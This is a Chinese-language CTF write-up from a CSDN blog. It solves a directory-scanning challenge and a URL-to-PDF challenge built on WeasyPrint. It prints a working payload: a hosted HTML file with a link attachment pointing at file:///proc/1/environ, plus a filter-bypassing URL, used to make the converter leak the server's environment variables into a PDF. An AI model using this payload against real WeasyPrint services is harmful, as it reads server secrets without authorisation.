文章讲述了在CSDN博客的URLTOPDF挑战中，作者通过信息搜集发现一个/flag路径，利用WeasyPrint将HTML转换为PDF的漏洞，最终成功获取旗标的过程。
目录
前言
感谢17👴没让我爆零
真亦假，假亦真
直接getshell不行，那就一波信息搜集呗，先开dirsearch扫一下
扫的过程中先试试常规的robots.txt,www.zip,shell.phps,.git,.svn，还有抓包看响应头响应体，均无果，最后扫出来是个/flag，乐
愉快地访问/flag即可
CSDN_To_PDF V1.2
参考题目：[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客
先随便试试
http://124.222.136.33:1337/1.hthtmlml#https://blog.csdn.net/Jayjay___/article/details/136978668成功收到请求，注意到UA是WeasyPrint
WeasyPrint是一个开源的HTML/CSS到PDF转换工具，它允许用户使用标准的Web技术（HTML和CSS）创建PDF文档。WeasyPrint能够解析HTML和CSS，并将其转换为可打印的PDF格式，支持诸如排版、布局、字体处理等功能。它是一个功能强大且灵活的工具，常用于生成报告、文档、电子书等需要打印或分享的内容。WeasyPrint是基于Python开发的，并且可以通过命令行或Python API进行使用。
vps上挂1.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>payload:
http://124.222.136.33:1337/1.hthtmlml#https://blog.csdn.net/Jayjay___/article/details/136978668
下载拿到ouput.pdf，但是直接打开是不行的
用binwalk来打开文件
拿到flag
扫一扫
658
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
